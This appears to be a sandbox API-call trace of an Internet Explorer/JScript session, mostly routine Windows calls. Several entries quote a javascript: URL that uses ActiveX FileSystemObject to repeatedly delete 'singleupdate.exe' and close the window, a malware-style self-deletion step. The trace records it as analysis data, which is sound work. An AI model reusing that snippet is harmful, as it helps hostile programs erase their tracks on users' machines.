[0228.443] GetKeyState (nVirtKey=2) returned 0 [0228.443] GetKeyState (nVirtKey=16) returned 0 [0228.443] GetKeyState (nVirtKey=17) returned 0 [0228.443] GetKeyState (nVirtKey=4) returned 0 [0228.443] GetKeyState (nVirtKey=18) returned 0 [0228.443] GetMessageTime () returned 0 [0228.443] GetMessagePos () returned 0x0 [0228.536] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0xcfeee4 | out: plResult=0xcfeee4) returned 0x0 [0228.543] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0228.543] GetKeyState (nVirtKey=1) returned 0 [0228.543] GetKeyState (nVirtKey=2) returned 0 [0228.543] GetKeyState (nVirtKey=16) returned 0 [0228.543] GetKeyState (nVirtKey=17) returned 0 [0228.543] GetKeyState (nVirtKey=4) returned 0 [0228.543] GetKeyState (nVirtKey=18) returned 0 [0228.543] GetMessageTime () returned 0 [0228.543] GetMessagePos () returned 0x0 [0228.543] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x282, wParam=0x2, lParam=0x0, plResult=0xcfe704 | out: plResult=0xcfe704) returned 0x0 [0228.543] GetCurrentThreadId () returned 0xe0 [0228.543] GetCurrentThreadId () returned 0xe0 [0228.544] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0228.544] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0xfe5248, hWnd=0x8002e, phIMC=0xcff2f4 | out: phIMC=0xcff2f4*=0x2a0227) returned 0x0 [0228.544] GetCursorPos (in: lpPoint=0xcff020 | out: lpPoint=0xcff020*(x=849, y=234)) returned 1 [0228.544] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff020 | out: lpPoint=0xcff020) returned 1 [0228.544] GetKeyState (nVirtKey=16) returned 0 [0228.544] GetKeyState (nVirtKey=17) returned 0 [0228.544] GetKeyState (nVirtKey=18) returned 0 [0228.544] GetKeyState (nVirtKey=160) returned 0 [0228.544] GetKeyState (nVirtKey=162) returned 0 [0228.544] GetKeyState (nVirtKey=164) returned 0 [0228.545] GetCursorPos (in: lpPoint=0xcff020 | out: lpPoint=0xcff020*(x=849, y=234)) returned 1 [0228.545] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff020 | out: lpPoint=0xcff020) returned 1 [0228.545] GetKeyState (nVirtKey=16) returned 0 [0228.545] GetKeyState (nVirtKey=17) returned 0 [0228.545] GetKeyState (nVirtKey=18) returned 0 [0228.545] GetKeyState (nVirtKey=160) returned 0 [0228.545] GetKeyState (nVirtKey=162) returned 0 [0228.545] GetKeyState (nVirtKey=164) returned 0 [0228.545] GetCapture () returned 0x0 [0228.552] memcpy_s (in: _Destination=0x4c0a270, _DestinationSize=0x10, _Source=0xcfeb10, _SourceSize=0x10 | out: _Destination=0x4c0a270) returned 0x0 [0228.552] GetCurrentThreadId () returned 0xe0 [0228.552] GetCurrentThreadId () returned 0xe0 [0228.553] GetCurrentThreadId () returned 0xe0 [0228.553] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0228.553] GetCurrentThreadId () returned 0xe0 [0228.554] GetKeyState (nVirtKey=1) returned 0 [0228.554] GetKeyState (nVirtKey=2) returned 0 [0228.554] GetKeyState (nVirtKey=16) returned 0 [0228.554] GetKeyState (nVirtKey=17) returned 0 [0228.554] GetKeyState (nVirtKey=4) returned 0 [0228.554] GetKeyState (nVirtKey=18) returned 0 [0228.554] GetMessageTime () returned 0 [0228.555] GetMessagePos () returned 0x0 [0228.555] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x7, wParam=0x0, lParam=0x0, plResult=0xcff254 | out: plResult=0xcff254) returned 0x1 [0228.555] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0228.555] GetCurrentThreadId () returned 0xe0 [0228.565] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x0) returned 0x726c0000 [0228.566] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x60) returned 0x726c0000 [0228.566] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0xcff788, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0228.573] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0xcff7f0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0228.573] LoadStringW (in: hInstance=0x726c0000, uID=0xb5, lpBuffer=0xcff7d4, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd [0228.573] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0228.573] GetCurrentThreadId () returned 0xe0 [0228.574] ShowWindow (hWnd=0x8002e, nCmdShow=1) returned 1 [0228.574] IUnknown:Release (This=0xfbd710) returned 0x1 [0228.574] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcf470 | out: hHeap=0xfb0000) returned 1 [0228.574] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0228.574] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0228.574] SetEvent (hEvent=0x380) returned 1 [0228.574] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x218, wParam=0x8013, lParam=0x100f6b8) returned 0x1 [0228.575] TranslateMessage (lpMsg=0xcffa94) returned 0 [0228.575] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0228.575] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0228.575] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0228.575] TranslateMessage (lpMsg=0xcffa94) returned 0 [0228.575] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0228.575] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0228.575] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0228.575] TranslateMessage (lpMsg=0xcffa94) returned 0 [0228.576] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0228.576] RegisterDragDrop (hwnd=0x8002e, pDropTarget=0x7387f4e4) returned 0x0 [0231.941] QueryPerformanceCounter (in: lpPerformanceCount=0xcff770 | out: lpPerformanceCount=0xcff770*=23524349695) returned 1 [0231.941] SetEvent (hEvent=0x374) returned 1 [0231.942] GetCurrentThreadId () returned 0xe0 [0231.942] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=23524498158) returned 1 [0231.942] GetCurrentThreadId () returned 0xe0 [0231.942] GetCurrentThreadId () returned 0xe0 [0231.942] GetCurrentThreadId () returned 0xe0 [0231.943] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0231.943] TranslateMessage (lpMsg=0xcffa94) returned 0 [0231.943] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0231.943] IInternetProtocolRoot:Continue (This=0x4c6c0cc, pProtocolData=0xfbdd80) returned 0x0 [0231.943] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1a) returned 0x1014c58 [0231.943] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcff7e8 | out: ppu=0xcff7e8) returned 0x0 [0231.943] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0xcff6e4 | out: ppvObject=0xcff6e4*=0x0) returned 0x80004002 [0231.943] IServiceProvider:QueryService (in: This=0xfe8c60, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0xcff6e4 | out: ppvObject=0xcff6e4*=0x4c4401c) returned 0x0 [0231.943] GetCurrentThreadId () returned 0xe0 [0232.076] StrToIntW (lpSrc="16595232") returned 16595232 [0232.076] CoTaskMemFree (pv=0x10146f0) [0232.076] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0232.076] IUnknown:AddRef (This=0xfd1b94) returned 0x8 [0232.076] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0232.077] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff790, dwFlags=0x0 | out: pdwZone=0xcff790*=0xffffffff) returned 0x800c0011 [0232.077] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0232.077] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0232.077] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd1b94, dwAction=0x1400, pPolicy=0xcff794, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0xcff774 | out: pPolicy=0xcff794*=0x0, pdwOutFlags=0xcff774*=0x0) returned 0x0 [0232.077] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwAction=0x1400, pPolicy=0xcff794, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0xcff794*=0x0) returned 0x0 [0232.077] IUnknown:Release (This=0xfd0030) returned 0x1 [0232.077] IUnknown:Release (This=0xfd1b94) returned 0x7 [0232.077] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0232.077] GetCurrentThreadId () returned 0xe0 [0232.078] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0232.078] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0 [0232.078] CoCreateInstance (in: rclsid=0xcff704*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0xcff6a8 | out: ppv=0xcff6a8*=0xd9ce14) returned 0x0 [0235.625] malloc (_Size=0x80) returned 0xd9a340 [0235.738] GetCurrentProcess () returned 0xffffffff [0235.738] GetSystemInfo (in: lpSystemInfo=0x719624b0 | out: lpSystemInfo=0x719624b0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0235.738] GetVersionExW (in: lpVersionInformation=0x719624f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x719624f4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.738] GetEnvironmentVariableW (in: lpName="JS_DEBUG_SCOPE", lpBuffer=0xcfda6c, nSize=0x104 | out: lpBuffer="\xdaa0\xcf") returned 0x0 [0235.739] IsDebuggerPresent () returned 0 [0235.739] __dllonexit () returned 0x717dc6b0 [0235.739] __dllonexit () returned 0x717dc6c0 [0235.739] __dllonexit () returned 0x717dc6d0 [0235.740] __dllonexit () returned 0x717dc680 [0235.741] __dllonexit () returned 0x717dc690 [0235.861] __dllonexit () returned 0x717dc6a0 [0235.867] GlobalMemoryStatusEx (in: lpBuffer=0xcfdc30 | out: lpBuffer=0xcfdc30) returned 1 [0235.909] __dllonexit () returned 0x717dc6f0 [0235.909] __dllonexit () returned 0x717dc710 [0235.909] __dllonexit () returned 0x717dc720 [0235.909] __dllonexit () returned 0x717dc740 [0235.909] __dllonexit () returned 0x717dc730 [0235.909] __dllonexit () returned 0x717dc750 [0235.911] __dllonexit () returned 0x717dc760 [0235.911] __dllonexit () returned 0x717dc770 [0235.945] GetModuleFileNameW (in: hModule=0x71620000, lpFilename=0x71961e38, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\jscript9.dll" (normalized: "c:\\windows\\system32\\jscript9.dll")) returned 0x20 [0235.945] _set_SSE2_enable () returned 0x1 [0235.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0xcfdcb0 | out: phkResult=0xcfdcb0*=0x0) returned 0x2 [0235.945] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\JScriptLegacy", ulOptions=0x0, samDesired=0x20019, phkResult=0xcfdcb0 | out: phkResult=0xcfdcb0*=0x0) returned 0x2 [0235.945] EtwEventRegister (in: ProviderId=0x7164ca00, EnableCallback=0x71847280, CallbackContext=0x71953038, RegHandle=0x71962f18 | out: RegHandle=0x71962f18) returned 0x0 [0235.945] EtwEventRegister (in: ProviderId=0x7164c9f0, EnableCallback=0x71847280, CallbackContext=0x71953000, RegHandle=0x71962f10 | out: RegHandle=0x71962f10) returned 0x0 [0235.945] EtwEventRegister (in: ProviderId=0x7164c9e0, EnableCallback=0x71847280, CallbackContext=0x71959ba0, RegHandle=0x71962f28 | out: RegHandle=0x71962f28) returned 0x0 [0235.946] FindAtomW (lpString="{1b7cd997-e5ff-4932-a7a6-2a9e636da385}") returned 0x0 [0235.946] AddAtomW (lpString="{16d51579-a30b-4c8b-a276-0ff4dc41e755}") returned 0xc005 [0235.947] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x75e90000 [0235.948] GetProcAddress (hModule=0x75e90000, lpProcName="QueryProtectedPolicy") returned 0x74f71cd0 [0235.948] VirtualProtect (in: lpAddress=0x71964438, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0xcfdcb0 | out: lpflOldProtect=0xcfdcb0*=0x2) returned 1 [0239.449] VirtualProtect (in: lpAddress=0x71964438, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0xcfdcb0 | out: lpflOldProtect=0xcfdcb0*=0x4) returned 1 [0239.450] DllGetClassObject (in: rclsid=0xfe5bdc*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe724 | out: ppv=0xcfe724*=0xd9cd10) returned 0x0 [0239.450] NdrDllGetClassObject (in: rclsid=0xfe5bdc*(Data1=0x16d51579, Data2=0xa30b, Data3=0x4c8b, Data4=([0]=0xa2, [1]=0x76, [2]=0xf, [3]=0xf4, [4]=0xdc, [5]=0x41, [6]=0xe7, [7]=0x55)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe724, pProxyFileList=0x71622464, pclsid=0x7164c664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x71961e08 | out: ppv=0xcfe724*=0x0) returned 0x80040111 [0239.450] malloc (_Size=0x34) returned 0xd9cd10 [0239.451] JScriptEngine11:IClassFactory:CreateInstance (in: This=0xd9cd10, pUnkOuter=0x0, riid=0xcff194*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0xcfe70c | out: ppvObject=0xcfe70c*=0xd9ce14) returned 0x0 [0239.451] malloc (_Size=0x220) returned 0xd9cdf8 [0239.451] GetUserDefaultLCID () returned 0x409 [0239.451] GetACP () returned 0x4e4 [0239.451] malloc (_Size=0x8) returned 0xd9d020 [0239.451] SetThreadStackGuarantee (in: StackSizeInBytes=0xcfe670 | out: StackSizeInBytes=0xcfe670) returned 1 [0239.451] malloc (_Size=0xc) returned 0xd9b0d0 [0239.451] malloc (_Size=0x1248) returned 0xd9d030 [0239.451] GetCurrentThreadId () returned 0xe0 [0239.451] RtlInitializeSListHead (in: ListHead=0xd9d068 | out: ListHead=0xd9d068) [0239.451] malloc (_Size=0x30) returned 0x58c8228 [0239.451] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x65c0000 [0239.452] malloc (_Size=0x20) returned 0xd9e280 [0239.452] malloc (_Size=0xc0) returned 0xd9e2a8 [0239.452] GetCurrentProcess () returned 0xffffffff [0239.452] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0xcfe5f8 | out: lpIoCounters=0xcfe5f8) returned 1 [0239.452] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe5e0 | out: lpPerformanceCount=0xcfe5e0*=24275486169) returned 1 [0239.452] GetCurrentThread () returned 0xfffffffe [0239.452] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0xcfe628 | out: CycleTime=0xcfe628) returned 1 [0239.452] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe610 | out: lpPerformanceCount=0xcfe610*=24275501536) returned 1 [0239.452] GetCurrentProcess () returned 0xffffffff [0239.452] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0xcfe5f8 | out: lpIoCounters=0xcfe5f8) returned 1 [0239.453] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe5e0 | out: lpPerformanceCount=0xcfe5e0*=24275519326) returned 1 [0239.453] GetCurrentThread () returned 0xfffffffe [0239.453] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0xcfe628 | out: CycleTime=0xcfe628) returned 1 [0239.453] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe610 | out: lpPerformanceCount=0xcfe610*=24275533126) returned 1 [0239.453] GetCurrentProcess () returned 0xffffffff [0239.453] GetProcessIoCounters (in: hProcess=0xffffffff, lpIoCounters=0xcfe5f8 | out: lpIoCounters=0xcfe5f8) returned 1 [0239.453] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe5e0 | out: lpPerformanceCount=0xcfe5e0*=24275550449) returned 1 [0239.453] GetCurrentThread () returned 0xfffffffe [0239.453] QueryThreadCycleTime (in: ThreadHandle=0xfffffffe, CycleTime=0xcfe628 | out: CycleTime=0xcfe628) returned 1 [0239.453] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe610 | out: lpPerformanceCount=0xcfe610*=24275564222) returned 1 [0239.453] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe628 | out: lpPerformanceCount=0xcfe628*=24275570873) returned 1 [0239.453] GetCurrentThreadId () returned 0xe0 [0239.453] GetCurrentThreadId () returned 0xe0 [0239.453] malloc (_Size=0x30) returned 0x58c8180 [0239.454] JScriptEngine11:IUnknown:AddRef (This=0xd9ce14) returned 0x2 [0239.454] JScriptEngine11:IUnknown:Release (This=0xd9ce14) returned 0x1 [0239.454] JScriptEngine11:IUnknown:Release (This=0xd9cd10) returned 0x0 [0239.454] free (_Block=0xd9cd10) [0239.454] JScriptEngine11:IUnknown:QueryInterface (in: This=0xd9ce14, riid=0x728744f8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0xcff63c | out: ppvObject=0xcff63c*=0xd9ce14) returned 0x0 [0239.454] JScriptEngine11:IUnknown:Release (This=0xd9ce14) returned 0x1 [0239.454] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0239.454] IUnknown:AddRef (This=0xfd1b94) returned 0x8 [0239.454] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0239.454] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff5c8, dwFlags=0x0 | out: pdwZone=0xcff5c8*=0xffffffff) returned 0x800c0011 [0239.454] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0239.454] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0239.455] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd1b94, dwAction=0x1401, pPolicy=0xcff5cc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0xcff5ac | out: pPolicy=0xcff5cc*=0x0, pdwOutFlags=0xcff5ac*=0x0) returned 0x0 [0239.455] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwAction=0x1401, pPolicy=0xcff5cc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0xcff5cc*=0x0) returned 0x0 [0239.455] IUnknown:Release (This=0xfd0030) returned 0x1 [0239.455] IUnknown:Release (This=0xfd1b94) returned 0x7 [0239.455] GetCurrentThreadId () returned 0xe0 [0239.455] malloc (_Size=0x84) returned 0xd9e370 [0239.455] malloc (_Size=0x748) returned 0xd9e400 [0239.455] malloc (_Size=0x8610) returned 0x58c9fe8 [0239.456] RtlInitializeSListHead (in: ListHead=0x58ca080 | out: ListHead=0x58ca080) [0239.456] RtlInitializeSListHead (in: ListHead=0x58ca0a0 | out: ListHead=0x58ca0a0) [0239.456] malloc (_Size=0x113c) returned 0x58d2600 [0239.456] malloc (_Size=0x113c) returned 0x58d3748 [0239.457] GetTickCount () returned 0x3b41e [0239.457] GetTickCount () returned 0x3b41e [0239.457] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a8 [0239.457] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ac [0239.457] malloc (_Size=0x30) returned 0x58c8148 [0239.457] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4b0 [0239.457] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x717a1720, _ArgList=0x58c9fe8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4b4 [0239.458] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff4b0*=0x4ac, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.459] malloc (_Size=0x74) returned 0xd9eb50 [0239.459] malloc (_Size=0x88) returned 0xd9ebd0 [0239.459] malloc (_Size=0x30) returned 0x58c8110 [0239.459] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x6670000 [0239.460] malloc (_Size=0x404) returned 0x58d4890 [0239.460] malloc (_Size=0x7c) returned 0xd9a098 [0239.460] malloc (_Size=0x404) returned 0x58d4ca0 [0239.460] malloc (_Size=0x80) returned 0xd9a120 [0239.460] malloc (_Size=0x20) returned 0xd9cd10 [0239.460] malloc (_Size=0x9dc) returned 0x58d50b0 [0239.461] malloc (_Size=0x2478) returned 0x58d5a98 [0239.461] malloc (_Size=0xf8) returned 0xd9ec60 [0239.461] malloc (_Size=0x4c) returned 0xd9ef90 [0239.461] malloc (_Size=0x3c) returned 0x58d7f18 [0239.462] malloc (_Size=0x88) returned 0x58d7f60 [0239.462] malloc (_Size=0xd0) returned 0x58d7ff0 [0239.462] malloc (_Size=0x78) returned 0x58d80c8 [0239.462] malloc (_Size=0xb0) returned 0x58d8148 [0239.462] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b8 [0239.462] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4bc [0239.462] _beginthreadex (in: _Security=0x0, _StackSize=0x0, _StartAddress=0x7173b260, _ArgList=0x58d8148, _InitFlag=0x4, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4c0 [0239.463] ResumeThread (hThread=0x4c0) returned 0x1 [0239.463] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff448*=0x4bc, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0239.464] ResetEvent (hEvent=0x4bc) returned 1 [0239.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c4 [0239.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c8 [0239.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4cc [0239.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4d0 [0239.464] QueryPerformanceFrequency (in: lpFrequency=0x71962420 | out: lpFrequency=0x71962420*=100000000) returned 1 [0239.464] QueryPerformanceCounter (in: lpPerformanceCount=0x71962428 | out: lpPerformanceCount=0x71962428*=24276692079) returned 1 [0239.464] malloc (_Size=0x84) returned 0x58d8200 [0239.465] malloc (_Size=0x80) returned 0xd9a1a8 [0239.465] malloc (_Size=0x174) returned 0x58d8290 [0239.465] malloc (_Size=0xc) returned 0xd9b0b8 [0239.465] malloc (_Size=0x74) returned 0x58d8640 [0239.465] malloc (_Size=0x178) returned 0x58d86c0 [0239.466] malloc (_Size=0x9c) returned 0x58d8840 [0239.528] malloc (_Size=0x174) returned 0x58d88e8 [0239.528] malloc (_Size=0xf8) returned 0x58d8a68 [0239.529] malloc (_Size=0xf8) returned 0x58d8b68 [0239.530] malloc (_Size=0xc4) returned 0x58d8c68 [0239.530] malloc (_Size=0xcc) returned 0x58d8d38 [0239.530] malloc (_Size=0x104) returned 0x58d8e10 [0239.530] malloc (_Size=0xa4) returned 0x58d8f20 [0239.531] malloc (_Size=0x7c) returned 0xd99b48 [0239.531] malloc (_Size=0x74) returned 0x58d8fd0 [0239.531] malloc (_Size=0x30) returned 0x58c82d0 [0239.531] malloc (_Size=0x30) returned 0x58c81b8 [0239.531] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0239.532] malloc (_Size=0xc) returned 0xd9b028 [0239.532] malloc (_Size=0x12c) returned 0x58d9050 [0239.532] malloc (_Size=0xb8) returned 0x58d9188 [0239.532] malloc (_Size=0xb8) returned 0x58d9248 [0239.533] malloc (_Size=0xf4) returned 0x58d9308 [0239.533] malloc (_Size=0x98) returned 0x58d9408 [0239.533] malloc (_Size=0xa8) returned 0x58d94a8 [0239.533] malloc (_Size=0xb4) returned 0x58d9558 [0239.534] malloc (_Size=0xb0) returned 0x58d9618 [0239.534] malloc (_Size=0x94) returned 0x58d96d0 [0239.534] malloc (_Size=0x80) returned 0xd99bd0 [0239.535] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x74ea0000 [0239.535] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadedAPI") 